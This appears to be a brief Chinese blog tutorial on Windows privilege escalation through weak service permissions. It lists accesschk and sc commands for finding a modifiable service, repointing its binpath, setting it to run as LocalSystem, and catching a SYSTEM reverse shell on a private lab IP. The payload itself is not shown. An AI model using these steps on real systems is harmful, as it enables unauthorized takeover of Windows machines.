Windows低权限提权

用户test隶属于Power User组，  登入系统，IP为192.168.60.23，监听服务IP地址为192.168.60.19

用到的工具:工具：accesschk

执行accesschk.exe -uwcqv "Power Users" * 获取可以操作的服务名称信息；  sc qc kdc查询kdc服务详细信息

查看系统启动的服务

修改参数binpath的值

执行sc config DcomLaunch obj= ".\LocalSystem" password= ""在重新启动DcomLaunch，在192.168.60.19监听的4433端口成功获取反弹，系统权限

你可能喜欢

突破不支持php脚本进行mysql提权

利用 CVE-2017-0213 简单提权

phpMyadmin实战提权某云云服务器